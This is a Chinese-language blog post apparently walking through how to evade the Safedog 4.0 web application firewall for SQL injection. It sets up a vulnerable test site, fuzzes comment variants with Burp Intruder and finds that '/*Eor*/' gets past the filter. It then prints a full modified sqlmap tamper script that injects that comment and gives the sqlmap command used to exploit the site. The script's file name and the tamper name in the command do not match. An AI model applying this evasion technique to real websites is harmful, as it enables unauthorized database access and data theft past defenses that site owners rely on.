技術討論 | Fuzz繞過安全狗4.0實現SQL注入
0×00 前言
本文使用了burp的intruder模塊進行fuzz,並修改了sqlmap工具的tamper腳本,對安全狗進行繞過。
0×01注入繞waf過常用手法
使用大小寫繞過
使用/**/註釋符繞過
使用大的數據包繞過
使用/!**/註釋符繞過
……
0×02本文使用的手法是/**/註釋符
首先搭建好一個有sql注入的測試平臺,在服務器安裝安全狗4.0版本
中間件和數據庫使用的是apache+mysql+php(如圖下)
訪問搭建好有sql注入點的網站:
先進行簡單測試
使用大小寫加/**/註釋
訪問被攔截
使用burp進行對剛剛注入點進行抓包
放到重發功能repeater裏面,修改id後面的值,以便等下方便爆破
修改方法,就是儘量sql語句簡單,而且可以觸發安全狗
以爲使用到/**/註釋符號來代替空格,使用盡量sql語句只留一個空格,又能觸發安全狗
我的構造,剛剛好闊以觸發安全狗
然後接下來就是fuzz,看看哪一個字符能繞過安全狗啦
把數據包放到intuder裏面
爆破點如上圖
設置如上圖,字典是一些sql語句,網上有很多這種字典
開始fuzz
如果有攔截就會是這樣子
成功繞過安全狗攔截,如下圖
說明該/*Eor*/這個註釋符可以繞過安全狗
簡單測試/*Eor*/這個註釋符
點擊確認
發現and/*Eor*/1=2會被攔截
不清楚fuzz時候不攔截,手動就攔截了
沒關係,使用sqlmap工具
打開sqlmap使在文件下面的文件夾tamper/concat2concatws.py
修改代碼:
#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/*Eor*/" continue retVal += payload[i] return retVal
使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment
開始sql注入
成功利用